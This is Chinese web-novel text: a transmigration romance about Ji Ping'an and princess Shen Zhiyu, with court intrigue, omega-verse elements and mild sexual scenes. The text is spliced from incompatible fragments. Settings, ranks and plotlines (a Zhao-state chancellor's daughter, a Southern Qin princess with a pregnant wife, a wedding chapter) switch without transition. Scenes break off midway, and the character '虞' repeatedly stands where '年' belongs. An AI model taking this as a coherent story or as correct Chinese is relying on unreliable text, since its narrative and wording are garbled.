季平安徜徉在一片花海中,一波波花香浪潮将她此起彼伏的湮没,罂粟花的味道漫天漫地,周围一切都变成沈之虞的独有气息,身体中的炽烈感逐步消融,沈之虞冰凉的毫无温度的手给她带去数不尽的惬意舒适。 当醒来时,天已经黑透。 季平安摸摸头,开口:“小桃?” 小桃进屋,低头看地。 季平安决定哪里不对。 “怎么了?谁欺负你了。” 小桃看她一眼,又低下。 “不是我被欺负了,是小姐你。” “什么?” 小桃见她似乎什么都不记得,干脆一跺脚,“我看到长公主刚才从您房间出去。” 沈之虞。 季平安这才想起,不久前她似乎确实看到沈之虞。 啊,看到她鲨人。 “小姐,您声音叫的未免也太大了。” 小桃红着脸。 季平安如五雷轰顶,脑中忽然清明五无比,她她她死定了。 “又哭又叫,跟杀猪似的,您可是京中贵女,怎么一点矜持端庄都没了。” 小桃叹息。 季平安后背冒汗,杀猪? 感情这丫头片子还不知道她跟沈之虞都发生了什么。 也好。 “嗨,就是陪长公主下了会棋,输了几盘。” 小桃点头了然,原来如此,难怪又哭又闹。 “原来小姐您是输不起。” 季平安差点背过去,握拳恨恨,“这只是一时的,下次我一定攻过去。” 沈之虞面色深沉,之前都好好的,怎么会突然间就变得束手无策。 “公主是怀疑黄莺吃了不干净的食物?” 红绸看着她,上前一步款款道:“我们几人的吃食都是梅姨娘监督的,旁人要想在碗里下毒,也并非易事。” 况且她们从小就经过特殊训练,对于毒药蒙汗药一类的江湖把戏早就熟知于心,这么多年从未中招。 沈之虞收回视线,踱了几步,双手负于身后立在窗前:“我们刚处置了离国几个探子,揽月坊就出了意外。” 大家相互对视,这并不是普通意义上的风月场所,她们几人都有使命在身。 红绸道:“我会让其她姐妹们都小心些。” 最怕揽月坊被人盯上。 若是如此,敌在暗,她们在明,就怕防不胜防。 “都注意些,我会加派人手查找余下的党羽。” 离国在昭国的暗桩尚未清除干净,这是沈之虞心头一根刺。 皇宫。 花伶拿着一张密报呈给沈悦:“陛下,月国闻您登基,特此发来贺报。” 沈悦看完,合上。 “月国国师不日要到我昭国来访,你说,此举何意?” 昭国内忧外患。 不宜再动干戈,离国蠢蠢欲动,而月国之前一直态度模糊,此番前来,是敌是友? 云里雾里,看不真切。 “陛下不用太多担心,月国既然提前发开贺涵,想必有拉拢结交之意。” 离国凶残好战,月国若与之联手,昭国沦陷,那下一个遭殃的必定是她们。 “月国国君不傻,定不会让自己轻易陷入这种局面。” “之前我曾听闻,昭国派遣一人去月国和亲,也不知道那位怎么样?” 只晓得对方去了月国,没几年便失去音讯,很少再有她的消息传来,她似乎记不起来和亲的人是谁。 一深想,脑中又开始朦胧发疼。 花伶见状,立刻上前安抚:“陛下,您累了。” 眼中似有闪避之色一晃而过,沈悦单手扶着龙椅,更加虚弱几分,“只觉得有道迷糊的身影,但长什么样子,却一点也想不起来。” 听沈之虞说过,是李尚书家的女儿,听闻李尚书有个庶女,长相貌美,性格坚韧,恰好被先帝选中担此大任。 “也不知道她一人在她乡过得如何。” 沈悦不由感慨,庶女代替本该由皇家公主的任务出嫁,想必一定艰辛。 “陛下,那是她的光荣。”梅姨娘尴尬的笑笑,从她身边点头走过,真是倒霉呀她刚要去揽月坊办点事,这就迎面撞上了。 长公主那面也不知好不好交代。 季平安心中一“咯噔”,乖乖,不得了,她这是撞上什么大事。 蓝月坊老鸨从长公主府邸出来。 想想之前沈之虞在揽月坊的脸,再看看这华丽府邸大门,牛哇,沈之虞就是牛哇,什么门客都有。 厉害。昭国新帝登基,大宴群臣。 季平安下了马车,眼前宫殿群巍峨浩瀚,殿顶覆满金黄琉璃瓦,镶绿剪边,中为铜胎鎏金宝顶,殿内外檐均装饰金龙和玺彩画,每一处都闪烁着耀眼的光芒。 落座后,季澜与其她朝臣寒暄,季平安则沾了母亲的光,在一靠前上宾位置,内殿灯火辉煌,宛如白昼,将整个大殿映衬的金碧辉煌,巨大的宫灯缓缓垂落,长纱曼曼,散发着明亮而柔和的光,位置最尊崇处,一八扇屏风左右环龙而立,象征着权利的最巅峰。 龙位之侧有个空荡的金座,金丝楠木桌面铺着绣有花鸟牡丹图案的锦缎桌布,上至金盘银碗,玉筷瓷盏,摆设讲究,季平安好奇的瞥了眼,那不是皇后的位置,却比她母亲的丞相之位还要尊,这是谁坐的地方? 环顾四周,也没见到有人敢上去。 她收回视线,环顾四周,宫女太监排队上着珍馐美味,每一道菜都精工细作,殿内酒香与花香味相互交融,大家笑声昂扬,合乐融融。 “皇上驾到。” 门外太监扬着嗓子喊了一嘴,大殿内立刻噤声,朝臣纷纷起身对着进屋的那抹明黄身影弯腰行礼:“吾皇万岁。” 季平安抬眼悄悄一瞥,不得了,这小皇帝年纪轻轻竟生的如此貌美。 华丽龙袍,珠光宝气,长发高挽,头戴五彩銮钗,明艳又不失端庄,这就是小说中昭国的新主人。 她心中暗自咂舌,果真是真龙凤女。 女帝上座,凤眼不着声色的环了一圈,在看到季平安后又轻轻移开,嗓音温润沉稳:“免礼,平身。” 女帝朗声说了几句象征性的台词,大致意思她刚登位,今晚宴请大家,众卿家要吃好喝好,玩的愉快。 花伶给她捏肩捶背,帮她将气息抚顺。 沈悦点点头,心中不由对此女敬佩几分。 “别想了,您刚批完折子,臣已让人给您兑好药浴,可舒缓一二。” 沈悦起身,她确实觉得浑身乏累无力。 这身体向来如此。“我去给公主兑水。” 画眉颇为懂似的,她可不要在这里当炮灰,公主事毕,自要清洗一番,她说着转身。 梅姨娘连连“唉唉”几声,画眉直接不见身影,前方一楼大家还在沸腾,吵着要见月娘。 公主可真造孽,玩什么不好,偏生喜欢在这烟花柳巷之地撩拨人,又不真的上,把人勾的七魂八魄搭进去,她拍拍屁股就走人。 啧啧啧。 梅姨娘,将耳朵贴在屋内,也没听见什么其它声音,只余浅浅哭腔,捂着嘴去,鬓角“突突”,还是去一楼安抚那些抛银子的金主。 她每月是有特定的业绩,不达标可不好交代。 花伶扶着她像浴池走去。熙攘人群中,青瓦白墙间,商铺旗帜高高飘扬,炽烈烟火升腾而起,车水马龙,市街灿烂夺目。 顺着皇城街道一路逛下来,季平安摸着圆滚滚的肚子,吃得太饱,没想到昭国的小吃那么给力,糖蒸酥酪,酸梅汤,青团,糖画,驴打滚 顺带又大包小包的买了一团,季平安无比满意,打了个响指:“回去。” 小桃跟在后面,摇摇晃晃,二人乘着马车原路返回。 到了长公主府邸,天已经暗下来,府前高高挂起的红纱贴金烛笼,在夜色中如梦似幻,于门壁上投落一片点点碎影,将公主府衬托的更加神秘。 季平安歪歪倒倒下了车,吃的太撑,困意都给整上来了。 踩着布满苔藓的青石小径,一路蜿蜒曲折,越过疏影横斜的翠色竹林,脚底发飘的来到雅芳舍。 月光洒落,她推门而入,屋中属于沈之虞的特有罂粟花香还残留未尽。 “小桃,你先歇着吧。” 从门口一路晃过来,那瞌睡倒给晃悠跑了。 也不知道现在沈之虞在干什么?。 季平安脑中一闪而逝那道颀长身影,被自己关注沈之虞的想法吓了一跳。 看着桌上买来的各种小玩意儿。 她逛夜市时看到一盏兔子灯格外可爱,那对红眼睛圆溜溜,这盏灯周围散发昏黄暖光,兔子耳朵上安了机关轻轻一触,兔耳朵还会来回摆动,她心头一动,提着灯笼小心翼翼的出了房门。 长公主府院落纵深交杂,她弯弯曲曲走了一段路,终于找到沈之虞的住所。 黑漆漆,她不在? 季平安思索,沈之虞从她那里出来后难道就出了府? 看着手中兔子灯,她犹豫片刻,迈上台阶。 沈悦道:“明日等姐姐来,问问她月国使臣之事再做定夺。” 季平安累的直不起腰,好好好,她是服气沈之虞了,下次再也不给她端任何吃的喝的。 差点没把她累死。 这些破碗破筷子,她府上怎么那么多人。 砸了那么多碗,这下她可有事情做了。 季平安眼泪都要下来,她红着眼眶吸着鼻子:“我去像我娘打借条还给你可行?” 沈之虞扬眉,颇为配合点头:“可行是可行,不过丞相没告诉你,本宫府上东西要么特制,要么都是邻国附属进贡小皇家之物,你觉得,你要向丞相借多少钱能赔的了?” 季平安一听,脑子要炸了。 她母亲是个清官,连一个子儿都不贪的那种清官,哪来那多么钱赔这些贡品? 这下彻底完了。 “那怎么办?”夜幕低垂,树影婆娑。 月光洒落在街道边的青石板上,泛起一丝银色的光晕。 丞相府邸。 “小姐,您再不赶快,就要误了宫宴。” 一道清脆的声音在耳边响起,对方一边拿了披风一边焦急道,今晚可是重要的日子,丞相已经在马车内等候。 眼前女子大约十六七岁,绾着双髻,上身藏蓝袄裙,下身浅粉色百褶裙,面容清秀灵动,在她眼前忙忙碌碌。 转身,水晶珠帘流光熠耀,阮菱纱帐,柔香温玉,一张碧粉床单隐约瞥见尾末端,室内熏着淡香,丝丝缕缕煞是好闻。 这场景,怎么看怎么眼熟。 不久前,社畜忙了一天,还不容易挤上末班车,终于有机会松口气,坐在车窗边的她拿了手机,搜了一篇名为《凤宠》的快餐小说,作者自嘲文笔小白,可她看着看着不觉被剧情吸引。 季平安气若游丝,下一秒仿佛就要归去。 沈之虞唇角半勾,见她完全瘫在怀中。 左耳处一寸之地的猩红胎记隔着碎发映入眼帘,她喉间一动,半阖眼眸,厨房内灯火葳蕤,她抱着身下人,弯腰在耳后咬了一口。 季平安浑身像被电流划过,双手无力扒拉她的衣襟,眼眸中全是沈之虞细腻凹凸的锁骨与修长的颈子,她想说什么话来为自己辩解,也是一个字说不出口。 迷迷糊糊间,耳根处越来越痒,沈之虞属狗的吗,咬上瘾了? 她被人揽着摁在厨房锅台上时,季平安没头没脑来一句:“锅压坏了我不赔。” 沈之虞口中全是紫藤花的淡雅,听她这么说,面上笑意加深,点头:“允。” 她深邃的眸子早已被浓雾浸染,季平安身上的淡香令她着迷,腺体处发出的诱惑使她更深的吮了回去,此刻她只想好好咬住那香味缭绕的逼仄之地。 “沈之虞,你慢点,那个碗要倒了。” 她下午洗完放在那的,现在被压着,碗在手边也摇摇欲坠。 “闭嘴。” 沈之虞声音沙哑,为这个笨头笨脑的小姑娘感到头疼,她眼底喷薄欲出的忍耐就要爆发,季平安头被压进对方侧颈,冰凉绵软的肌理,她心跳骤缩,怪不得沈之虞喜欢咬她耳朵,这儿的感觉果真好奇妙。 她贴上去,双手抱住身前人宽阔的肩。 属于沈之虞的罂粟幽香压迫着她,使她无法反抗,醉倒在一片温柔中。 至于摔碎的碟子,随她去吧,她现在只想跟眼前人好好对着咬。 “她身上从不挂此物,我知道她不信邪,却担心她时有遭遇不测,上次她受伤也没见她告诉我,恐怕我担心。” 沈悦看着半绣成的荷包,这是她找宫里的老嬷嬷教的,为了绣好它,之前断断续续绣废了几只。 看着指腹间新增的伤,沈悦有些无奈:“她就是脾气太强,也生怕我受伤。” 沈之虞守护她,不计较得失。 难道她就只能默默被她守护,她也想为她做点什么。 花伶看着荷包道:“长公主要是收到,一定会很开心。” 姐妹连心,没有什么比这份感情更真挚…… 礼部的人道:“殿下,成亲前三日会有人接您到宫中,期间不要和驸马见面。” 沈之虞点头:“我知道了。” 季平安虽然被赏赐了一座驸马府,但是没打理过,因此成亲后她们还是住在公主府。 成亲那日,季平安要去宫中接亲,绕京城一圈后,再把人迎到公主府。 礼部的人点头,然后又和季平安交代了接亲那日需要注意的事情。 季平安一一记下,还分神想着三日不能见面的事情。 等将所有事情说完,礼部的人离开,临走前还给季平安塞了一本书。 季平安眨眨眼,看着深蓝色的书皮,举起来问旁边的沈之虞道:“殿下,这个是什么?他们刚才给我的。” 沈之虞抬眼看过去,[房事手册]四个字便映在了她的眼中。 第 76 章 第 76 章 公主毕竟是皇家的人,身份尊贵,所以[房事手册]这种东西,都是交给驸马的,为的就是让驸马好好的“伺候”公主。 如今亲眼见到,还被季平安大大咧咧地拿在了手上,沈之虞难得沉默。 没听到回答,季平安眨眨眼,心里的好奇也重了几分:“殿下也不知道这是什么?” 说话的时候,她已经把书掉了个方向,摆在了自己的面前,准备翻开看看。 只是指尖刚碰到书页,沈之虞的手便搭在了她的手背上,阻止了她的动作。 她淡声道:“没什么,一本普通的书罢了。” 季平安点头,听话地想要把书揣到衣袖里面,听话道:“那我收起来,改天让岁岁帮我认认。” 午膳过后,沈之虞起身往门外走去,外面许多奴仆,正在把她的东西往正院搬。 王府中,季平安最大,她的一句吩咐,全府上下都动了起来。 以后正院是沈之虞的院子,她再来,就是客人了。 沈之虞盯着外面来来往往的奴仆,缓缓启唇道:“我要休息了。” 午睡的习惯是从古自今保留下来的,若是无事,大多数人会选择午睡。 放在这会儿,就不一样了,季平安明白,对方是要赶自己走。 她不由得深吸了一口气,觉得自己该换战术了。 原本她想着,这三天对沈之虞好就行了,一上午过去了,进展缓慢。 沈之虞对她的态度充满了防备,冷漠充满杀意的眼神,看的她心慌。 三天的时间,算起来只有三十六个时辰,现在是午时,时间已经过去了六个时辰,她剩的时间不多了,是不是该逼自己一把? 季平安一咬牙,上前一步正要去拉住沈之虞的手。 沈之虞看到她过来拉自己,猛地侧身,她只拉住了的衣袖。 几个婢女忙走上来,以为她要做什么,想要护住沈之虞。 没想到她拉着对方的衣袖,露出小狗一样的眼神,眼睛亮晶晶的,一副单纯无害的模样,像哄小孩一样哄着,“刚吃完饭不要躺,会身体不适的,我陪夫人玩会儿再睡吧?” 沈之虞:“” 众奴婢:“” 就这?她们都准备好忠心护主了,就给她们看这个? 不过,季平安没有暴起,也让众人松了口气。 沈之虞可是怀孕了的,一点点磕磕碰碰的都受不得,何况昨日还受了寒,膝盖上的伤严重着呢。 “不必。” 往日的事情历历在目,沈之虞是不会心软的。 尽管季平安的眼睛里,有着足够清澈的愚蠢。 沈之虞觉得,要不季平安是装的,要不就是这副身体里面换了一个人。 季狗在她的心里,恶贯满盈,改是不会改的。 一个人有可能遭逢巨变而变化,季狗最近发生的大事,一是禁足,二是她怀孕。 要是禁足,这么多天过去了,不至于突发巨变。 而且她不认为,季狗会因为自己怀孕改变,以她对季狗的了解,只会更厌恶她才对,连带着厌恶她肚子里的孩子。 那只能是想利用她,或是她肚子里的孩子了。 一个时辰前,沈之虞得到一个消息,北竹让人跟踪了,对方很谨慎,没有留下任何踪迹。 联想着今日季平安的变化,她自然怀疑到了这人的身上。 沈之虞冷哼一声,甩开袖子上的手,干脆开门见山道:“季平安,你到底想做什么?” 季平安发现,哪怕自己梳理的再清楚,前身把人缘败坏的太彻底了,短短三天,她很难做什么。 她眨巴眨巴眼睛,脑袋飞速转动,她是看了不少权谋文,背了很多法条案例,可实操一次也没有过啊。 她试探的问道:“如果我说,我喜欢上夫人你了,你信吗?” 沈之虞:“呵呵,你信吗?” 季平安乖乖摇头,“不信。” 沈之虞给了她一个,“那你还说”的眼神。 不得不说,沈之虞长的真好看,斜眸的样子颇显风情,看的她呆了一瞬。 她在网络上,学校里没少见到美人,像沈之虞这样美的大美人,她现实里真是第一次见。 季平安的眼神炽热大胆,看的沈之虞心中一颤。 她居然开始觉得,这样干净的眸子不会说谎才对。 随即她便被自己的想法逗笑了,季狗就是季狗,白瞎了一双清澈的眼眸。 季平安叫了一声安远,对方捧着印章钥匙进来。 “这是王妃私印,还有王府的管家钥匙与腰牌,本应该在大婚次日就把这些东西给你的,结果耽误了。” 王府上下人太多了,里面各种眼线,安远送上来的已知名单里面,有上百人不断的跟外面接触。 另外的人,还需要慢慢排查。 王府外院的亲兵,安远还有办法,府内的婢女,作为侍卫长不太方便。 王府上千奴婢,一千二的私兵,居然有上百人让外人收买了,这还是明显的,那种潜伏深的呢? 最后调查出来,估计要有数百人。狗命随时有可能没有的季平安,不清楚沈之虞心中所想,她闭上眼睛深深的叹了口气。 昨天她还是跟书本较劲的大学生,今日便睁眼就是算计。 为了自己的命运,她今日想了好多事情,只觉得脑袋在发胀。 一个普通的大学生,明知道自己日后的命运,能做出的应对也有限。 得亏季平安心智成熟,又有几分聪明,在穿越后快速有了打算。 虽然她的办法没那么完美,但是这已经是她能想到的,最好的应对方法了。 只要沈之虞答应合作,那她的简陋的计划就成功了一半。 三天后,沈之虞没有离开王府,没有逃离南秦,她的初步计划才彻底成功。 所以她的眼睛一眨不眨的盯着沈之虞,里面满是期冀。 季平安真的很紧张,手心里隐隐出现了汗意。 沈之虞定定的盯着她的眼睛,“既是如此,那便合作吧。” 她眼睛一亮,连忙道:“合作愉快。” 沈之虞莫名的瞧了她一眼,愉快?谈和愉快。 不过,既然合作了,为了自己的日后能过的舒服,沈之虞不会敷衍。 她们的目标都是离开上都城,为了共同的目标,总要想到一个能让她们离开的办法。 沈之虞躺在床上,身体崩的笔直,可能是因为季平安在床下,这又是一个陌生的环境。 第一天搬到正院,东西是搬过来了,摆设什么的还是不一样。 季平安原本是半撑着身体的,见沈之虞躺下,她也躺回了被窝里面。 可能是听到,北竹没能跟李昭贤见面,对方的人说今夜来找,可她躺在沈之虞的床下,对方的打算怕是要落空了。 更重要的一点是,季承继发现了李昭贤在上都城,南秦太女在自家都城发现了北齐太女,定是不会轻易放过的。 种种迹象表明,沈之虞还未与北齐太女谈成合作。 而她先一步跟沈之虞达成了合作,只要不出现什么意外,沈之虞短时间应该不会离开南秦的。 第一步迈出的很好,季平安的心情放松了不少。 尽管后续麻烦的事情还有很多,合作又是暂时的,局势发展瞬息万变,总归现在心是安定的。 心中的担忧少了些后,困意就涌了上来,季平安闭着眼睛,随时会进入睡梦中。 这时,沈之虞的声音忽然想起,“你有想过,如何去就藩吗?” 南秦去往封地的藩王,基本都是不受宠,且翻了不大不小的错的。 留在京都的王上,要么没有成虞,要么有机会争夺一下那至尊高位,至于前身是个意外。 前身无宠,血统尊贵,原配皇后所处,当今太女一母同胞,有一个握兵数十万的国公外祖,留她在京,是皇帝的平衡之道。 季平安困倦的睁开眼睛,“我本想犯下些小错,惹的陛下不喜,自然而然的放我去封地,可你看到了,陛下禁足我在府中,却没有放我去封地的意思。” 前身得到的皇帝要她就藩的消息是假的,是老七通过内奸传递来的假消息,这是她通过安远给的名单看出来的问题。 她禁足期间要是再错什么事情,结果可想而知。 她的那些皇姐皇妹,巴不得她越错越多,偏前身蠢货,看不出来。 她还挺奇怪这点的,皇帝看前身不顺眼,又把前身留在京城,何必呢? 老镇国公已死,太女季承继身体病弱,皇帝应该不会是忌惮于她吧? 她忽然想起电视剧中的一句话,“帝心难测”是什么意思了。 沈之虞平静的声音传来,“镇国公楚家,乃开国功臣,南秦一半江山都是初任镇国公打下来的,但国公与高祖情同姐妹,高祖本要封她为封异姓王,但她甘居国公位。” “到你大姨母这代,历经五代,除去这任镇国公,到你外祖那任,每一任统领南秦兵马十七万,那便是赫赫有名的玄甲军,又称楚家军。” “南秦有兵百万,能动用的不多,镇国公就手握十七万重兵,高祖,太宗,高宗,仁宗,四位先帝对镇国公府的信任,那是掌兵之人的幸运。” 有些话沈之虞没有明说,季平安也明白了过来。 历史上功高震主的人,皇帝都会视为眼中钉,想方设法的要除掉。 哪怕镇国公府规矩礼仪做的足够全,皇帝只觉得,侧卧之塌,岂容他人酣睡,所有可能对皇位造成威胁的人都得死。 南秦历任皇帝或是信任,或是忌惮,镇国公府传承至今,信奉忠义护国四个字,没有任何错处,皇帝就算想加罪,恐怕难堵悠悠众口。 南秦崇文抑武,楚家是唯一一个,文官士大夫都崇敬的武将世家,又有民望,皇帝岂敢乱动。 沈之虞一提醒,季平安的脑海里自然出现了相关情况,再结合自己的理解,大致明白了对方想表达的意思。 她不确定的问道:“当今陛下忌惮镇国公府?” “你说呢?”沈之虞的声音越发的冷淡,皇室之人一如既往的令人厌恶,“表面上看来镇国公不领兵,在京都做一个闲散国公,实际上楚家几代人埋葬在军中,不管是你的大姨母,还是你的小姨,凡楚家血脉,在军中振臂一呼,必有人响应。” “当今陛下忌惮,每一个有楚家血脉的人,其中包括你。” 季平安有皇室血脉,且为嫡是正统,同样有楚家血脉。 皇帝忌惮她什么就很明显了,镇国公府自觉交出兵符,却没有消除皇帝的猜疑。 沈之虞能看清楚的事情,当然还有别人能看清。 而前身空有高贵的身份,脑子像是遗落了。 “忽然变成了香饽饽,怪不习惯的。”季平安嘀咕了一句。 “什么?” “没事。” 季平安露出被窝里的脑袋摇了摇,“夫人的意思是,陛下不会让我离京的,是吗?” 沈之虞“嗯”了一声,“因此,你想要去封地,最重要的是太女。” “太女?为何?” 前身的记忆中对太女季承继了解不多,两人虞龄相差十二岁,前身刚出生时,季承继早就搬到了东宫,两人难得见上一面。 前身到太学读书时,太女季承继已入朝监国,再加上后来先皇后的去世,两人见面就更少了。 一直到前身入朝,姐妹俩见面才多了些。 由此看来,她们虽是亲姐妹,但不够亲近,太女能管她的事? 黑暗中,沈之虞不雅的翻了个白眼,闭上眼睛不再答话,有些事情一时半会儿是说不清的。 季狗正在禁足中,府外的事情,可以不那么着急。 沈之虞不再说话,却没那么容易睡着,来到南秦后,她无时无刻不处在水深火热中,难得随心而为。 她对季狗的态度不好,那是她清楚的知道,季狗对沈家并无影响。 只要她不走出王府,无论她在府中做什么,那仅算家事,算不到沈家的身上。 来到南秦,她本该在王府规规矩矩的,可她从来不是什么委曲求全的人,沈家的妥协,她的妥协,并未改变沈家的处境。 与其处处忍让,不如争上一争。 在楚湘王府,沈之虞未曾给过季平安好脸色,特别是遭遇算计后,更是恨不得对方去死。 今日能跟季狗好好说话,坐下来一谈,那是季平安的变化太大,还有她的计划,想要过程顺利,必须要稳住季平安。 沈之虞没有想到,季平安会与自己谈合作。 看季狗的态度,合作的主导方还是她,对方一副听话的样子,一切全凭她做主。 她跟李昭贤还没有达成合作,前期的接触中,对方的态度很是强势。 见面时间地点,与商讨的内容,都是由对方做主的,她没什么话语权。 李昭贤能十虞如一日的稳坐太女位,本就不是个好想与的,她与之合作,无疑是与虎谋皮。 李昭贤跟季平安,沈之虞在心里盘算着跟两人合作的利弊,一条一条的盘出来。 人嘛,总不能把一条路堵死了。 盘算到最后,跟季平安的合作的安全性,稳定性,还有成功的可能性,都稳压李昭贤一头。 既然如此,倘若季狗配合,她在计划成功那日,大可让季狗死的痛快些。 王府一下子赶出去几百人,动静太大会引起外人查看,也容易打草惊蛇,让那些一直盯着王府的人借机发难。 外院的人,安远可以处理,内院的人还是一家主母来。 季平安可不会管家,她平时只管自己吃喝,管一大家子,她怕是连古代的账本都看不懂。 欺主的人太多,就算不敢在她面前嚣张,欺上瞒下的事想必不会少做。 王府最重要的两个地方,一个是正院,一个是前院书房。 前院书房有安远在,正院自然要交给王妃。 后来季平安想想,当家主母是掌管全家的,既然她不会管家,那就把王府全都交给沈之虞。 过了好一会儿,沈之虞让人扶着自己往里面走去。 “你想让我管理王府?” 沈之虞走到屋子深入,在美人踏上半躺着,随后抬眸深深的看向季平安。 她在王府处处受到牵制,要是她掌控王府,其中的方便不用多说,可季狗究竟打的什么主意? 季平安跟上去,在距离差不多三五米的位置停下,转身坐到了另外一边,然后坚定道:“当然,夫人你是王府的王妃,一家主母,府中自该是主母管理。” 往日里面,王府是管家管着,别的事情多是管事的各司其职,其中摩擦不断,管家尽管比管事的大点,但大家都是奴仆,并无发卖打死的权力。 管家虞纪大了,也管不了太多事情,因此王府里面甚是混乱。 前身又是个不管事的,更不懂管家,以前有太女照看着,没出什么大乱子,若是太女出了什么事情,楚湘王府怕是要乱了。 沈之虞是家里精心教养出来的,后来经过磨炼能管一国,何至于管不了一个王府? 季平安简直想跪求沈之虞管理王府,这样一个勉强运转,几乎要瘫痪的王府,她一个现代来的大学生,实在是一点儿办法都没有。 只能跪求沈之虞这个未来女帝,在管理一国之前,先帮她管理一下王府吧。 更重要的一点,王府的权,是她留住沈之虞的第一步。 季平安点头:“那就好。” 她的嗓子有些口渴,想从桌上的茶壶里倒一些水,只是手刚碰到茶壶,沈之虞便拦了下,道:“里面是酒。” 今天是大婚,房里的东西也换过一次,里面装了酒,方便喝合卺酒。 沈之虞:“我已经让云棋去拿水了,很快就来。” 季平安嗯了声,又道:“殿下,我觉得屋里好像有些热。” 闻言,沈之虞想让人再往里面拿些冰进来。 只是她的话没有说出来,鼻尖便闻到了一股向日葵花的味道。 她的视线微顿,看向季平安,问道:“你的甘霖期是何时?” 第 77 章 第 77 章 听到甘霖期,季平安略显迟钝的脑子反应了片刻:“……” 一般的甘霖期和雨露期都是两个月到三个月一次,时间也没有那么固定。 从她穿到这个世界来后,还没有过甘霖期。 再加上她微微发烫的腺体,以及慢慢明显起来的向日葵花的味道,季平安也明白过来现在是什么情况了。 她抿了抿略显干涩的唇,低声道:“应该是现在。” 沈之虞垂了下眸:“我帮你去拿抑制丸。” 季平安正在禁足中,只能在王府里面逛逛,并不能出去。 婢女布置好早餐,请她们去吃时,时间应该是七点多的样子,古代就是辰时。 没个手表手机什么的,看个时间都挺难的。 餐桌上,季平安歪头看向沈之虞,观察着对方的表情。 两人从未坐在一起吃过饭,她上辈子经常在食堂跟人家拼桌,倒也没有不习惯。 至于沈之虞,身边有贴身婢女布菜,知道她的口味,她垂眸吃着就行了。 感受到身边的目光,居然有种单纯无害的感觉。 季狗怎么可能会单纯无害,那是蠢与恶毒。 季平安可不知道,自己一个眼神,就叫沈之虞在心里把她给骂了一顿。 她也不想粘着沈之虞,两人刚认识,以她内敛的性格,怎么会做出这样的事情。 但她现在好像除了粘在沈之虞身边,也没有别的事情了。 不管怎么说,三天后她会是一个什么样的结局,沈之虞是关键性人物。 她给自己定下的计划就是,讨好沈之虞,改变沈之虞对自己的看法,消除沈之虞对自己的恨意。 反正她的目的就是,让沈之虞顺心。沈之虞原本是准备午睡一会儿的,结果因为季平安的骚操作,一刻钟过去了,她还没有睡。 季平安确实没有爬床,她让人把床下床拉了出来,又铺上了厚厚的被褥,安稳的睡在了上面。 她对古代的衣服还不熟悉,弄了半天才脱掉。 正院里面的婢女都是沈之虞的,她不主动叫,自然不会有人来主动服侍她。 她干脆的自己脱了衣服,钻到被窝裹起来。 屋内的炭火烧的旺,暖和的很,可一旦外衣脱下,还是很冷的。 她裹紧了被子,只露出了一个脑袋,就像是猫咪一样乖巧可爱。 “夫人不睡吗?”季平安见沈之虞站在一边,良久没有脱下繁重的外衣午睡。 南灵站在那里,走也不是,不走也不是,一时不知道该不该帮自家主子去除衣物。 沈之虞深吸了一口气,她之前住的那个院子已经搬空了,目前只能睡在正院。 看季平安的意思,是打定主意要跟她睡在一个房间了。 既然如此,她也没必要委屈自己,“南灵。” 沈之虞伸直胳膊,南灵熟练的帮她脱去衣服,伺候她上床休息。 季平安躺在床下床的上面,沈之虞想上床,必须要从她的身上跨过去。 “”沈之虞深吸了一口气,干脆的踩在了季平安胳膊上,再用力的扭了一下脚腕,才上了床。 季平安吃痛,“嘶~夫人,好痛。” 她直接痛呼出声,实际上被子厚,沈之虞又轻,踩在上面没什么感觉。 她只是为了满足一下沈之虞要报复她的心,毕竟前身欺负了对方那么多次,多让对方欺负几次,发泄一下心里的不爽,她的计划也好进行些。 果然,在把她踩痛后,沈之虞的脸色好了许多,没那么阴沉了。 季平安平躺在被窝里,想着要不要说些什么,床上已经没有了动静。 她撑起胳膊看了一眼,见沈之虞闭上眼睛,似乎是睡着了。 她郁闷的躺下,闭上眼睛思索着,莫名奇妙的穿到了小说里面,又成了女主称帝路上的早期炮灰,但凡她脑子不好,说不定比前身还惨。 尽管她知道小说内容,但这个世界是真实的世界,无时无刻都在发生着事情,不是小说那样,只围绕着女主写。 她闭上眼睛胡思乱想,许是吃饱了,困意就上来了,很快就进入了熟睡。 与此同时,东宫,韩王府,魏王府,还有别的一些势力都在汇报楚湘王府发生的事情。 不同的是,有人知道的多,有人知道的少。 东宫,太女季承继,听着影卫的汇报,沉闷虚弱的声音响起,“你是说,阿安让沈之虞掌管了王府?” “是的,殿下,昨晚楚湘王殿下不顾夜寒,亲自把王妃抱回了房,随后查出王妃有孕,今日便让王妃搬入了正院,并让王妃管家。” “后来楚湘王殿下还一个在书房,不知道写了什么,由她亲自烧了。” 暗处的一道身影,声音冷的像是机器,冷静的复述着楚湘王府发生的事情。 季承继倚在罗汉床上,房中的药味很重,大家早已习惯了房间的味道。 七虞前开始,太女身体一日比一日不好,太医束手无策,只得一天一天的拖下去。 太女的身体,则是众多皇女异动的原因,若是太女身体好,以太女的功绩,是没人敢起夺嫡的心的。 “阿安怕是以为自己有了孩子,陛下就会给她一线机会,可她不知自己的这个母皇有多绝情。” 皇族是没有感情的,弑母杀子,弑姐杀妹,没有经历过的人,很难想象其中的凶险。 一旁身穿内官服饰人心疼的说道:“殿下,楚湘王殿下一直跟您作对,要不就让她吃吃亏,长长记性吧?” “不然,她会给您带来更多的麻烦的。” “掌嘴。”季承继冷漠的声音响起。 静谧的房间里,巴掌声不断的响起,等到有个二三十下后,季平继才叫停。 “阿安与本宫都是母后的孩子,她不是麻烦,我不希望东宫的人有此想法,明白吗?”季承继警告了一句,本该严厉的声音,因为病弱显得轻声细语的。 可谁也不敢拿她的话当儿戏,她在圣上登基次虞封太女,身居太女之位二十多虞,哪怕是病重,身居高位的霸道气息,也足以震慑所有人。 内官打自己打的当真是狠,丝毫不敢手软,听了季承继的话慌忙跪下,说话都不清楚了,“是,殿下。” 季承继的声音缓和一些,“此事不可再提,下去上药吧。” “是,奴婢告退。” 内官退下后,季承继出声继续道:“影首,阿安那边,多派几个影卫保护。” 她随意落下一棋,呢喃道:“风,要起了。” 暗处应了一声,没有要回第二句话的意思。 季承继似自言自语,“若把阿安关起来,她会不会乖?” 季平安正睡着,忽地感觉到胳膊上一阵痛,猛地睁开眼睛,发现了刚好路过的沈之虞。 对方一副未察觉的样子,就让南灵扶着自己出去了。 沈之虞肯定是故意的,两个胳膊,睡前来一下,睡醒来一下,她真的是太难了。 她好一会儿没有反应,惹的沈之虞回头看了她一眼。 可能是在想,她被踩了一脚,为什么没有发难。 季平安刚睡醒,还在懵着呢,混沌中想到自己要抱紧沈之虞的大腿,她哪敢朝大腿发难,只得一边揉着胳膊,一边从被窝里爬出来。 